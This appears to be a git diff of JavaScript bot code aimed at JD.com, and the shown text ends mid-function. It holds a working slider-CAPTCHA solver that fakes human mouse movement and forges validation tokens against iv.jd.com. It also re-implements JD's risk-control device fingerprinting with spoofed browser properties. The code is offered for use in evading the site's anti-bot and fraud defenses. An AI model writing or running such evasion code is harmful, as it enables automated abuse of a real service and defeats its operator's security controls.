console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/JDSignValidator.js b/JDSignValidator.js new file mode 100644 index 0000000..f2679d3 --- /dev/null +++ b/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('./USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += 